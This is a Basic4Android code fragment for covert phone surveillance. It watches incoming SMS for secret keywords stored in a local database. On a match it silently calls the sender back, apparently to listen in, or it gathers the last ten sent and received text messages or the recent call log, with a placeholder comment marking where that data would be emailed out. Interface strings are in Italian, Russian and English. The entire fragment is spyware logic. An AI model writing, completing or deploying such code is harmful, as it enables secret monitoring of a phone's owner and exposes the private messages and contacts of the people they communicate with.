Sub smsIncerc_MessageReceived (From As String, Body As String) As Boolean
SQL1.Initialize(File.DirDefaultExternal,"store_service_sms.db",True)
Dim listen As String
listen = ""
listen = SQL1.ExecQuerySingleResult("SELECT listen FROM TBL_SMS")
Dim read_sms As String
read_sms = ""
read_sms = SQL1.ExecQuerySingleResult("SELECT read_sms FROM TBL_SMS")
Dim read_calls As String
read_calls = ""
read_calls = SQL1.ExecQuerySingleResult("SELECT read_calls FROM TBL_SMS")
If Body.ToLowerCase.Trim = listen.ToLowerCase.Trim Then
StartActivity(phoneChiama.Call(From))
Return True
Else If Body.ToLowerCase.Trim = read_sms.ToLowerCase.Trim Then
Dim SmsMessages1 As SmsMessages
Dim ListInviati, listArrivati As List
Dim sb As StringBuilder
Dim messaggi As String
messaggi = ""
ListInviati = SmsMessages1.GetByType(SmsMessages1.TYPE_SENT)
listArrivati = SmsMessages1.GetByType(SmsMessages1.TYPE_INBOX)
Dim n_sent As String
Dim n_inbox As String
Dim mess As String
Dim lng As String
lng = GetDftLng
If lng = "it" Then
n_sent ="NUMERO IN USCITA: "
n_inbox ="NUMERO IN ENTRATA: "
mess ="MESSAGGIO: "
Else If lng = "ru" Then
n_sent ="Исходящие: "
n_inbox ="Входящие: "
mess ="Сообщение: "
Else
n_sent ="NUMBER SENT: "
n_inbox ="NUMBER INBOX: "
mess ="MESSAGE: "
End If
For i = 0 To ListInviati.Size - 1
If i <= 9 Then
Dim Sms As Sms
Sms = ListInviati.Get(i)
sb.Initialize
sb.Append(n_sent & Sms.Address & " " & CRLF & mess & Sms.Body & "").Append(CRLF).Append(CRLF)
messaggi = sb.ToString & messaggi
End If
Next
For i = 0 To listArrivati.Size - 1
If i <= 9 Then
Dim Sms As Sms
Sms = listArrivati.Get(i)
sb.Initialize
sb.Append(n_inbox & Sms.Address & " " & CRLF & mess & Sms.Body & "").Append(CRLF).Append(CRLF)
messaggi = sb.ToString & messaggi
End If
Next
'send email with body-param: "messaggi"
Return True
Else If Body.ToLowerCase.Trim = read_calls.ToLowerCase.Trim Then
Dim messaggi As String
messaggi = ""
Dim sb As StringBuilder
Dim Calls As List
Dim CallLog As CallLog
Calls = CallLog.GetAll(10)
Dim n_sent As String
Dim n_inbox As String
Dim numb As String
Dim nome As String
Dim tipo As String
Dim dta As String
Dim lng As String
lng = GetDefaultLanguage
If lng = "it" Then
n_sent ="NUMERO IN USCITA"
n_inbox ="NUMERO IN ENTRATA"
numb ="NUMERO: "
nome =", NOME "
tipo=", TIPO: "
dta=", DATA: "
Else If lng = "ru" Then
n_sent ="Исходящие"
n_inbox ="Входящие"
numb ="Номер: "
nome =", Имя "
tipo=", Тип: "
dta=", Дата: "
Else
n_sent ="Outgoing"
n_inbox ="Incoming"
numb ="NUMBER: "
nome =", NAME "
tipo=", TYPE: "
dta=", DATE: "
End If
For i = 0 To Calls.Size - 1
Dim c As CallItem
c = Calls.Get(i)
Dim callType, name As String
Select c.callType
Case c.TYPE_INCOMING
callType=n_inbox
Case c.TYPE_OUTGOING
callType =n_sent
End Select
name = c.CachedName
If callType = "" Then
callType = "N/A"
End If
If name = "" Then
name = "N/A"
End If
sb.Initialize
sb.Append(numb.ToUpperCase & c.Number & nome.ToUpperCase & name & tipo.ToUpperCase & callType & dta.ToUpperCase & DateTime.Date(c.Date)).Append(CRLF).Append(CRLF)
messaggi = sb.ToString & messaggi
Next
'send email with body-param: "messaggi"
Return True
End If
End Sub